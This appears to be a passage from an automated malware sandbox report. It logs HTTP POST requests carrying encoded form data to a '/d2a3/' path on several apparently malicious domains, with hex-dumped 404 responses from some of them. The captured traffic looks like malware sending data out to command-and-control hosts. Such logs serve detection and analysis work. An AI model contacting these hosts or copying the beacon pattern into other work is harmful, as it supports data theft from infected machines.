          Source: global trafficHTTP traffic detected: POST /d2a3/ HTTP/1.1Host: www.espisys-technology.comConnection: closeContent-Length: 184Cache-Control: no-cacheOrigin: http://www.espisys-technology.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.espisys-technology.com/d2a3/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 4d 77 3d 4b 54 46 63 75 44 4e 65 36 42 4a 62 39 74 7e 33 75 72 4f 55 37 33 69 76 66 52 43 4d 6b 52 33 33 59 65 33 41 76 32 6e 45 7a 62 37 42 51 6e 59 69 62 31 4a 4f 65 6c 73 78 53 33 67 65 65 2d 7a 6b 56 48 68 32 64 44 57 77 50 6f 44 58 56 51 36 31 47 36 68 35 4d 76 74 61 6c 37 46 72 34 44 74 68 46 71 75 65 65 72 69 34 65 71 64 35 4f 35 6d 58 79 69 4a 34 66 66 61 4c 79 71 42 56 6c 6a 28 63 55 4b 6e 74 7a 42 47 4a 4d 64 54 47 7e 34 56 67 7e 4d 79 50 38 48 31 32 47 36 35 63 52 6f 58 30 73 5f 5a 6f 61 34 69 6d 52 39 64 5f 37 6c 58 72 6f 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: Mw=KTFcuDNe6BJb9t~3urOU73ivfRCMkR33Ye3Av2nEzb7BQnYib1JOelsxS3gee-zkVHh2dDWwPoDXVQ61G6h5Mvtal7Fr4DthFqueeri4eqd5O5mXyiJ4ffaLyqBVlj(cUKntzBGJMdTG~4Vg~MyP8H12G65cRoX0s_Zoa4imR9d_7lXrog).
          Source: global trafficHTTP traffic detected: POST /d2a3/ HTTP/1.1Host: www.on-smooth.comConnection: closeContent-Length: 184Cache-Control: no-cacheOrigin: http://www.on-smooth.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.on-smooth.com/d2a3/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 4d 77 3d 47 6c 70 61 49 4f 35 48 43 67 37 6e 71 45 7e 55 4c 72 45 79 44 68 53 6d 43 36 5a 70 6c 6f 4d 5a 52 67 5a 6d 4d 37 6b 6e 44 70 4f 37 28 56 4f 57 4c 53 37 6c 53 42 74 6c 49 51 65 33 62 33 62 65 6e 66 4b 50 52 67 64 68 6f 64 43 75 37 64 6e 57 68 30 33 35 4a 61 36 57 41 2d 72 72 59 52 6d 7a 51 72 4a 42 78 38 61 48 41 57 6f 41 64 48 65 4b 34 59 42 54 39 31 48 36 64 77 44 33 4c 4a 58 45 39 31 49 75 79 39 61 63 5a 63 28 48 4d 6f 74 79 51 43 74 38 45 6b 6a 6c 4f 56 67 71 37 48 6e 7a 53 4a 67 4b 56 78 41 77 57 5a 6b 42 6c 32 6d 54 61 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: Mw=GlpaIO5HCg7nqE~ULrEyDhSmC6ZploMZRgZmM7knDpO7(VOWLS7lSBtlIQe3b3benfKPRgdhodCu7dnWh035Ja6WA-rrYRmzQrJBx8aHAWoAdHeK4YBT91H6dwD3LJXE91Iuy9acZc(HMotyQCt8EkjlOVgq7HnzSJgKVxAwWZkBl2mTaA).
          Source: global trafficHTTP traffic detected: POST /d2a3/ HTTP/1.1Host: www.luxgudonu.storeConnection: closeContent-Length: 184Cache-Control: no-cacheOrigin: http://www.luxgudonu.storeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.luxgudonu.store/d2a3/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 4d 77 3d 44 68 6d 66 6b 65 57 38 47 51 4d 49 36 59 72 75 31 79 4a 4a 6d 31 62 51 73 37 73 4f 61 65 44 4b 6a 63 48 70 7a 64 79 6d 54 36 31 35 62 6e 41 32 46 4b 61 2d 53 6e 54 68 6e 39 4d 6b 73 50 4c 48 77 4b 71 54 6a 63 42 51 51 4c 4b 33 43 47 6a 58 78 77 50 71 6b 73 4a 5f 4f 66 7a 37 66 65 48 76 6c 32 52 7a 66 5a 74 33 6f 4f 76 76 63 67 47 37 75 6a 62 48 30 69 4e 6e 64 67 6c 73 55 51 52 32 7a 43 31 43 53 67 75 77 62 33 6c 2d 44 55 54 56 50 30 49 6f 28 57 6b 53 58 6a 68 56 54 67 41 67 37 35 57 71 30 69 4b 31 64 4b 31 6d 55 6f 39 53 63 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: Mw=DhmfkeW8GQMI6Yru1yJJm1bQs7sOaeDKjcHpzdymT615bnA2FKa-SnThn9MksPLHwKqTjcBQQLK3CGjXxwPqksJ_Ofz7feHvl2RzfZt3oOvvcgG7ujbH0iNndglsUQR2zC1CSguwb3l-DUTVP0Io(WkSXjhVTgAg75Wq0iK1dK1mUo9ScA).
          Source: global trafficHTTP traffic detected: POST /d2a3/ HTTP/1.1Host: www.sowmedia.siteConnection: closeContent-Length: 184Cache-Control: no-cacheOrigin: http://www.sowmedia.siteUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.sowmedia.site/d2a3/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 4d 77 3d 6f 4b 41 2d 67 6c 70 52 43 31 42 37 39 34 74 4f 61 4c 7e 36 64 4f 37 65 77 2d 49 43 4f 30 7a 61 6b 6b 45 4d 66 38 65 72 61 64 74 48 34 78 4b 49 31 47 30 70 64 52 64 41 35 62 72 73 4a 4b 69 6a 6b 4f 65 45 50 4e 4d 42 39 64 67 63 4d 48 31 73 53 45 73 71 44 78 69 58 31 43 73 4f 39 56 58 69 59 6f 73 31 77 53 6a 50 28 77 59 51 6b 5f 4d 46 72 63 6c 6d 53 50 38 6e 62 42 46 50 57 4c 41 48 77 63 62 70 7a 49 34 75 28 62 79 5a 34 2d 7e 67 52 6a 4a 33 35 36 50 5f 61 33 75 45 65 56 48 38 48 64 52 6b 78 56 56 76 73 4a 55 49 6d 52 73 63 41 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: Mw=oKA-glpRC1B794tOaL~6dO7ew-ICO0zakkEMf8eradtH4xKI1G0pdRdA5brsJKijkOeEPNMB9dgcMH1sSEsqDxiX1CsO9VXiYos1wSjP(wYQk_MFrclmSP8nbBFPWLAHwcbpzI4u(byZ4-~gRjJ356P_a3uEeVH8HdRkxVVvsJUImRscAg).
          Source: global trafficHTTP traffic detected: POST /d2a3/ HTTP/1.1Host: www.yh78898.comConnection: closeContent-Length: 184Cache-Control: no-cacheOrigin: http://www.yh78898.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.yh78898.com/d2a3/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 4d 77 3d 79 70 50 62 75 6e 38 75 61 52 5a 32 59 74 32 46 6f 6f 73 78 71 5f 57 39 57 52 34 42 54 39 61 72 56 43 28 5f 64 72 77 75 65 2d 51 34 53 31 42 46 34 36 66 7a 75 44 30 37 50 4b 72 6d 58 4f 49 6b 43 30 77 31 47 52 6f 7a 4e 53 31 6a 37 6a 57 42 28 31 38 79 33 36 70 42 44 6d 7e 71 6a 5f 4b 37 45 30 39 4d 74 50 44 74 6d 69 6c 7a 62 41 6c 55 68 35 47 6d 6c 42 33 63 54 43 48 59 76 75 43 73 6e 57 55 52 70 41 64 35 61 4a 65 7a 73 33 74 42 56 70 50 38 4f 35 61 4a 61 59 35 4c 6a 68 55 39 6f 6c 76 79 70 43 65 5f 66 59 4e 43 57 32 54 65 38 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: Mw=ypPbun8uaRZ2Yt2Foosxq_W9WR4BT9arVC(_drwue-Q4S1BF46fzuD07PKrmXOIkC0w1GRozNS1j7jWB(18y36pBDm~qj_K7E09MtPDtmilzbAlUh5GmlB3cTCHYvuCsnWURpAd5aJezs3tBVpP8O5aJaY5LjhU9olvypCe_fYNCW2Te8A).
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 20 Mar 2023 10:27:41 GMTServer: Apache/2.4.56 (Unix)Content-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 20 Mar 2023 10:27:51 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gziphost-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==X-Endurance-Cache-Level: 2X-nginx-cache: WordPressContent-Length: 1037Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 52 5d 8f e3 34 14 7d 9e fe 0a 6f 10 fb 80 48 d2 96 59 1e 3a 69 57 c3 80 10 12 1f 2b 0d 08 f1 b4 72 e2 db da 33 8e af b1 9d a6 5d b4 ff 9d eb 38 e9 b4 bb b3 80 44 55 a9 ee fd 38 f7 dc 73 6e f5 e2 db 5f ee 7e fd e3 cd 77 4c 86 56 6f 66 55 fc 61 9a 9b dd 3a 03 93 ff 76 9f 6d 66 57 95 04 2e e8 f7 aa 6a 21 70 66 78 0b eb 6c af a0 b7 e8 42 c6 1a 34 01 4c 58 67 bd 12 41 ae 05 ec 55 03 f9 f0 27 fb b0 cb 61 8d c1 9f f5 18 54 46 c0 e1 4b 66 70 8b 5a 63 9f b1 72 68 0a 2a 68 d8 fc 84 41 82 93 88 82 29 c3 e8 cd be e7 4e 80 61 2f 5b c1 bd bc 61 77 d8 2a b3 63 f7 88 a6 2a 53 4f ec f6 8d 53 36 30 ef 9a 75 26 43 b0 ab b2 6c 4f 50 ca d0 6b 37 e0 14 0d b6 65 6f 73 65 1a dd 09 f0 e5 03 7d ff ec c0 1d c7 9f e2 c1 67 9b aa 4c 78 09 3a 1c 35 b0 70 b4 b4 4e 80 43 28 1b 4f 25 5f b0 bf 66 8c 3e 35 1e 72 af de 11 a7 15 bd 69 84 cb 29 74 33 e4 f2 16 df e5 ff 58 d0 43 fd a8 c2 27 6b de cf 66 35 8a e3 34 8a 37 8f 3b 87 9d 11 79 83 1a dd 8a f5 52 05 48 50 63 a4 d6 54 94 22 b8 07 b7 25 81 f3 c3 8a 49 25 68 f9 14 6f b9 db 29 b3 62 f3 01 ff b3 de 71 3b 0e e0 5a ed 4c 4e 90 ad 5f b1 86 ec 02 97 5a 84 f2 56 f3 e3 8a 6d 35 8c d4 1f 3a 1f d4 f6 98 8f c6 5e d6 93 45 b9 04 b5 93 14 5f cc e7 7b 39 8c 2a c6 da 71 5a c4 a2 f4 25 29 de 05 64 af 3e 4f 41 cb 85 18 34 99 a7 ff 51 fd 7c 20 f9 c1 38 7e 48 e7 b7 62 d7 cb b9 4d c2 6d 11 a9 60 9c 35 66 89 cb 04 8d 5e 05 85 04 b4 55 07 10 37 a3 97 21 60 7b 1a a7 61 1b 26 99 46 b4 49 a9 e7 98 c4 0d eb 60 3e 32 eb c2 94 33 0f 55 cb 77 b0 62 06 0d 4c e3 a3 f3 c4 d2 1e 98 47 ad c4 45 63 3c 11 c9 05 f6 e7 2d cf dc 41 e7 7c 0c 59 54 cf f8 a7 8c 56 06 f2 5a e3 84 bb 25 4f e2 ed 11 93 c5 b5 3d 9c 05 fb d1 c0 eb f9 a4 47 6c 3d d9 5a bc 3a 77 2e 0f 68 a3 be 13 c2 c9 ba af 69 99 af 4e e1 4f 39 38 c4 05 34 e8 78 72 e5 69 c5 80 5d 23 73 de a4 78 cb 8d b2 9d 1e aa c6 bc e3 66 f2 92 6b cd e6 c5 d2 33 e0 7e 6c ef 3c b8 dc 83 86 26 9c a3 ee c1 05 d5 70 3d 91 69 95 10 7a cc 0d 6a e6 de f2 66 b0 a7 77 dc 26 77 7d e0 a1 f3 79 0b de 93 75 a3 d1 27 6d 13 f8 fb aa f4 e1 a8 61 33 bb 8a 9f 8a 44 7b 64 0e f4 3a 1b c2 5e 02 84 8c 49 07 db 75 26 43 b0 ab b2 6c 31 48 70 12 91 14 a3 d7 8e d3 19 98 a2 c1 b6 ec 6d de 90 15 24 54 69 75 47 32 fb b2 d6 1d 48 f4 64 0f 5d 8b 75 44 25 4f a9 32 b2 53 4d 49 7d 24 7c ee 11 09 c3 fb d7 fb f5 b2 58 2c 8b e5 22 63 e5 40 aa 2a 25 70 41 cf aa 46 71 8c a1 4a a8 3d 53 62 9d c5 55 b3 54 d4 72 65 58 a3 b9 f7 eb 6c e4 90 8d 3b 5d 8d 1d 63 d6 77 b5 6f 9c b2 d1 82 b7 bd 12 3b 38 55 56 72 b1 b9 65 3f 43 cf 7e 27 b6 6f 22 5b 76 4f e2 be 20 0e 8b 53 cd 72 73 37 70 66 f7 c4 39 a6 96 4f 83 62 01 9f 26 d5 c1
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 20 Mar 2023 10:28:10 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 20 Mar 2023 10:28:13 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Mon, 20 Mar 2023 10:28:18 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 65 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 52 4b 8f d3 30 10 be f7 57 0c 41 a2 17 12 b7 74 0f 7d 24 7b a0 ad c4 4a 65 59 41 78 1d 8d 33 6d 2c 39 b6 6b 8f fb d8 5f 8f 93 6e 0a 8b 56 9c 3c b6 be d7 78 26 7f b5 fa b4 2c 7f 3e ac a1 a6 46 c1 c3 d7 f7 9b bb 25 24 29 63 df 27 4b c6 56 e5 0a 7e 7c 28 3f 6e 60 9c 8d a0 74 5c 7b 49 d2 68 ae 18 5b df 27 83 a4 26 b2 73 c6 8e c7 63 76 9c 64 c6 ed 58 f9 99 9d 5a ad 71 4b 7e 2a 53 fa 8b 99 55 54 25 b7 83 bc 33 54 5c ef 8a 04 75 02 a7 46 cd 9f dd b4 2f 5e 90 1f cf 66 b3 8b 6a d4 80 bc 46 5e c5 13 72 92 a4 b0 ad 60 ed 9c 71 70 33 ba 81 14 ee 0d c1 d6 04 5d b5 10 76 c5 e4 0d 12 07 61 34 a1 a6 22 21 3c 11 6b e3 2c 40 d4 dc 79 a4 22 d0 36 9d 26 f1 53 c8 a6 b8 0f f2 50 24 cb 0b 3c 2d cf 16 5b 6f f8 47 45 9b 54 70 51 e3 73 56 f7 94 b6 56 ce a8 2e 32 7b ca 9c ff 32 d5 19 3c 9d 15 16 c9 36 02 d2 2d 6f a4 3a cf b9 93 5c 2d 2e 16 f5 b8 47 08 a3 8c 9b bf 1e f1 c9 bb a9 58 74 78 2f 1f 71 1e 07 83 cd 05 fd 9f d6 eb 71 97 d8 f6 6a 7f f8 a3 6c 7a e5 6f 10 b6 52 d4 12 1d b8 b6 6b 0f 7a c8 c1 72 0f 6f 90 8b 40 b8 a0 be 80 d8 4f 38 f4 b7 6c 70 a7 c0 62 20 f0 43 be 93 0e aa 61 d0 08 e8 1c 06 07 84 a2 d6 72 1f 30 83 6f 18 a4 52 f8 08 ae a7 a2 f7 fc 1c 0d 83 ba 6a 3b 19 59 d8 c4 d9 64 f0 45 c2 c1 84 18 04 c1 46 c3 c8 6c e3 70 21 7a 7e 15 b9 3c 5c 73 73 1b 95 77 8e 1f 70 e1 c1 aa e0 5b 2d 1f 23 68 e2 24 0f e8 df 82 40 c5 c1 cb 9d 96 5b 89 b0 0f 43 a9 80 bf d0 a1 0f d6 3a d9 f4 46 59 b7 43 36 fe 63 ce da d1 c5 15 ee 96 e6 76 f0 1b 11 e8 b3 c9 45 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 1ee}RK0WAt}${JeYAx3m,9k_nV<x&,>F%$)c'KV~|(?n`t\{Ih['&scvdXZqK~*SUT%3T\uF/^fjF^r`qp3]va4"!<k,@y"6&SP$<-[oGETpQsVV.2{2<6-o:\-.GXtx/qqjlzoRkzro@O8lpb Car0oRj;YdEFlp!z~<\sswp[-#h$@[C:FYC6cvE0
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 837Connection: closeDate: Mon, 20 Mar 2023 10:28:21 GMTServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 4c 65 20 66 69 63 68 69 65 72 20 72 65 71 75 69 73 20 6e 27 61 20 70 61 73 20 26 65 61 63 75 74 65 3b 74 26 65 61 63 75 74 65 3b 20 74 72 6f 75 76 26 65 61 63 75 74 65 3b 2e 0a 49 6c 20 70 65 75 74 20 73 27 61 67 69 72 20 64 27 75 6e 65 20 65 72 72 65 75 72 20 74 65 63 68 6e 69 71 75 65 2e 20 56 65 75 69 6c 6c 65 7a 20 72 26 65 61 63 75 74 65 3b 65 73 73 61 79 65 72 20 75 6c 74 26 65 61 63 75 74 65 3b 72 69 65 75 72 65 6d 65 6e 74 2e 20 53 69 20 76 6f 75 73 20 6e 65 20 70 6f 75 76 65 7a 20 70 61 73 20 61 63 63 26 65 61 63 75 74 65 3b 64 65 72 20 61 75 20 66 69 63 68 69 65 72 20 61 70 72 26 65 67 72 61 76 65 3b 73 20 70 6c 75 73 69 65 75 72 73 20 74 65 6e 74 61 74 69 76 65 73 2c 20 63 65 6c 61 20 73 69 67 6e 69 66 69 65 20 71 75 27 69 6c 20 61 20 26 65 61 63 75 74 65 3b 74 26 65 61 63 75 74 65 3b 20 73 75 70 70 72 69 6d 26 65 61 63 75 74 65 3b 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta c
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 20 Mar 2023 10:28:23 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 64 32 61 33 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /d2a3/ was not found on this server.</p></body></html>
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 20 Mar 2023 10:28:26 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 64 32 61 33 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /d2a3/ was not found on this server.</p></body></html>
